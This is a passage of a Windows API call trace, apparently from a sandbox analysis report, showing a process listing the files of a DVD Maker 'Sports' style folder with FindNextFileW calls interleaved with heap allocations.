dwReserved0=0x0, dwReserved1=0x0, cFileName="SportsMainBackground.wmv", cAlternateFileName="")) returned 1 [0070.353] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa08750 [0070.353] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa08750) returned 1 [0070.353] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa08750 [0070.354] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa08750) returned 1 [0070.354] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa08750 [0070.354] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0xa1aca8 [0070.354] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0xa1bed0 [0070.354] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa08750) returned 1 [0070.354] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x71aa8ea9, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x71aa8ea9, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x502ae81f, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x57bbc0, dwReserved0=0x0, dwReserved1=0x0, cFileName="SportsMainBackground_PAL.wmv", cAlternateFileName="")) returned 1 [0070.354] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa08750 [0070.354] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa08750) returned 1 [0070.354] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa08750 [0070.354] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa08750) returned 1 [0070.354] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa08750 [0070.354] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0xa1acc8 [0070.354] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0xa1bfd8 [0070.354] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa08750) returned 1 [0070.354] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x71c25c4b, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x71c25c4b, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x50320c39, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x1beae6, dwReserved0=0x0, dwReserved1=0x0, cFileName="SportsMainToNotesBackground.wmv", cAlternateFileName="")) returned 1 [0070.354] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa08750 [0070.354] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa08750) returned 1 [0070.354] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa08750 [0070.354] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa08750) returned 1 [0070.354] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa08750 [0070.354] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0xa1ace8 [0070.354] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0xa1c0e0 [0070.354] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0xf40) returned 0x9fa458 [0070.355] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa1ed30) returned 1 [0070.355] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa08750) returned 1 [0070.355] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x71cbe1bf, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x71cbe1bf, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x50393053, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x1c0a26, dwReserved0=0x0, dwReserved1=0x0, cFileName="SportsMainToNotesBackground_PAL.wmv", cAlternateFileName="")) returned 1 [0070.355] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa08750 [0070.355] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa08750) returned 1 [0070.355] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa08750 [0070.355] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa08750) returned 1 [0070.355] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa08750 [0070.355] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0xa1ad08 [0070.355] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0xa1c1e8 [0070.355] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa08750) returned 1 [0070.355] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x71d7c890, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x71d7c890, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x504c3b43, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x184166, dwReserved0=0x0, dwReserved1=0x0, cFileName="SportsMainToScenesBackground.wmv", cAlternateFileName="")) returned 1 [0070.355] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa08750 [0070.355] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa08750) returned 1 [0070.355] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa08750 [0070.355] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa08750) returned 1 [0070.355] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa08750 [0070.355] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0xa1ed48 [0070.355] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0xa1c2f0 [0070.355] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa08750) returned 1 [0070.355] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x71deeca7, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x71deeca7, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x50add351, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x189f26, dwReserved0=0x0, dwReserved1=0x0, cFileName="SportsMainToScenesBackground_PAL.wmv", cAlternateFileName="")) returned 1 [0070.355] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa08750 [0070.356] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa08750) returned 1 [0070.356] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa08750 [0070.356] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa08750) returned 1 [0070.356] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa08750 [0070.356] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0xa1ed68 [0070.356] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0xa1c3f8 [0070.356] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa08750) returned 1 [0070.356] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x713aae96, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x713aae96, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x514fb049, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x6680f4, dwReserved0=0x0, dwReserved1=0x0, cFileName="SportsNotesBackground.wmv", cAlternateFileName="")) returned 1 [0070.356] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa08750 [0070.356] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa08750) returned 1 [0070.356] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa08750 [0070.356] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa08750) returned 1 [0070.356] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa08750 [0070.356] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0xa1ed88 [0070.356] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0xa1c500 [0070.356] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa08750) returned 1 [0070.356] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x71501adb, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x71501adb, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x5206f98f, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x673c74, dwReserved0=0x0, dwReserved1=0x0, cFileName="SportsNotesBackground_PAL.wmv", cAlternateFileName="")) returned 1 [0070.356] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa08750 [0070.356] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa08750) returned 1 [0070.356] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa08750 [0070.356] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa08750) returned 1 [0070.356] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa08750 [0070.356] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0xa1eda8 [0070.357] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0xa1c608 [0070.357] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa08750) returned 1 [0070.357] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x716a49da, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x716a49da, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x522f70cd, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x2ca474, dwReserved0=0x0, dwReserved1=0x0, cFileName="SportsScenesBackground.wmv", cAlternateFileName="")) returned 1 [0070.357] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa08750 [0070.357] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa08750) returned 1 [0070.357] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa08750 [0070.357] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa08750) returned 1 [0070.357] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa08750 [0070.357] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0xa1edc8 [0070.357] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0xa1c710 [0070.357] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa08750) returned 1 [0070.357] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x71789208, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x71789208, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x524e6293, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x2e59f4, dwReserved0=0x0, dwReserved1=0x0, cFileName="SportsScenesBackground_PAL.wmv", cAlternateFileName="")) returned 1 [0070.357] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa08750 [0070.357] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa08750) returned 1 [0070.357] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa08750 [0070.357] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa08750) returned 1 [0070.357] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa08750 [0070.357] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0xa1ede8 [0070.357] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0xa1c818 [0070.357] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa08750) returned 1 [0070.357] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x71384d39, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x71384d39, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4ff68a0b, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x23d2, dwReserved0=0x0, dwReserved1=0x0, cFileName="sports_disc_mask.png", cAlternateFileName="")) returned 1 [0070.357] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa08750 [0070.358] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa08750) returned 1 [0070.358] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa08750 [0070.358] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa08750) returned 1 [0070.358] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa08750 [0070.358] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0xa1ee08 [0070.358] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0xa1c920 [0070.358] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa08750) returned 1 [0070.358] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x71384d39, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x71384d39, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4ff68a0b, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x23d2, dwReserved0=0x0, dwReserved1=0x0, cFileName="sports_disc_mask.png", cAlternateFileName="")) returned 0 [0070.358] GetLastError () returned 0x12 [0070.358] FindFirstFileExW (in: lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\*", fInfoLevelId=0x1, lpFindFileData=0x119ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119ec9c) returned 0x2e9140 [0070.358] FindClose (in: hFindFile=0x2e8f80 | out: hFindFile=0x2e8f80) returned 1 [0070.358] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9fdc8b88, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa86cdff, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xa0e2d73a, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0070.358] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x71ead378, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x71ead378, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4ff428ad, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xb5e, dwReserved0=0x0, dwReserved1=0x0, cFileName="CircleSubpicture.png", cAlternateFileName="")) returned 1 [0070.358] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x71ed34d5, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x71ed34d5, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4ff428ad, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x120d, dwReserved0=0x0, dwReserved1=0x0, cFileName="GoldRing.png", cAlternateFileName="")) returned 1 [0070.358] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x71338a7f, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x71338a7f, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4ff428ad, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x6d3c, dwReserved0=0x0, dwReserved1=0x0, cFileName="highlight.png", cAlternateFileName="")) returned 1 [0070.358] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x71ef9632, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x71ef9632, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4ff428ad, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xba2, dwReserved0=0x0, dwReserved1=0x0, cFileName="NavigationButtonSubpicture.png", cAlternateFileName="")) returned 1 [0070.358] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x71ef9632, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x71ef9632, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4ff428ad, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xee0, dwReserved0=0x0, dwReserved1=0x0, cFileName="NextMenuButtonIcon.png", cAlternateFileName="")) returned 1 [0070.358] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x71f1f78f, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x71f1f78f, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4ff428ad, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xee2, dwReserved0=0x0, dwReserved1=0x0, cFileName="ParentMenuButtonIcon.png", cAlternateFileName="")) returned 1 [0070.358] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x71f1f78f, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x71f1f78f, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4ff428ad, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xeeb, dwReserved0=0x0, dwReserved1=0x0, cFileName="PreviousMenuButtonIcon.png", cAlternateFileName="")) returned 1 [0070.358] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x71f458ec, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x71f458ec, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4ff68a0b, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xc3d, dwReserved0=0x0, dwReserved1=0x0, cFileName="SceneButtonInset_Alpha1.png", cAlternateFileName="")) returned 1 [0070.358] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x71f6ba49, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x71f6ba49, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4ff68a0b, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xdbe, dwReserved0=0x0, dwReserved1=0x0, cFileName="SceneButtonInset_Alpha2.png", cAlternateFileName="")) returned 1 [0070.359] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x71e8721b, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x71e8721b, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4ff68a0b, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xc2f, dwReserved0=0x0, dwReserved1=0x0, cFileName="SceneButtonSubpicture.png", cAlternateFileName="")) returned 1 [0070.359] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x71893b93, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x71893b93, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x500e57b7, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x539540, dwReserved0=0x0, dwReserved1=0x0, cFileName="SportsMainBackground.wmv", cAlternateFileName="")) returned 1 [0070.359] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x71aa8ea9, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x71aa8ea9, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x502ae81f, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x57bbc0, dwReserved0=0x0, dwReserved1=0x0, cFileName="SportsMainBackground_PAL.wmv", cAlternateFileName="")) returned 1 [0070.359] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x71c25c4b, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x71c25c4b, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x50320c39, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x1beae6, dwReserved0=0x0, dwReserved1=0x0, cFileName="SportsMainToNotesBackground.wmv", cAlternateFileName="")) returned 1 [0070.359] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x71cbe1bf, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x71cbe1bf, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x50393053, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x1c0a26, dwReserved0=0x0, dwReserved1=0x0, cFileName="SportsMainToNotesBackground_PAL.wmv", cAlternateFileName="")) returned 1 [0070.359] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x71d7c890, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x71d7c890, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x504c3b43, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x184166, dwReserved0=0x0, dwReserved1=0x0, cFileName="SportsMainToScenesBackground.wmv", cAlternateFileName="")) returned 1 [0070.359] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x71deeca7, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x71deeca7, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x50add351, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x189f26, dwReserved0=0x0, dwReserved1=0x0, cFileName="SportsMainToScenesBackground_PAL.wmv", cAlternateFileName="")) returned 1 [0070.359] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x713aae96, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x713aae96, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x514fb049, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x6680f4, dwReserved0=0x0, dwReserved1=0x0, cFileName="SportsNotesBackground.wmv", cAlternateFileName="")) returned 1 [0070.359] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x71501adb, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x71501adb, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x5206f98f, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x673c74, dwReserved0=0x0, dwReserved1=0x0, cFileName="SportsNotesBackground_PAL.wmv", cAlternateFileName="")) returned 1 [0070.359] FindNextFileW (in: hFindFile=0x2e9140, lpFindFileData=0x119ec9c | out: 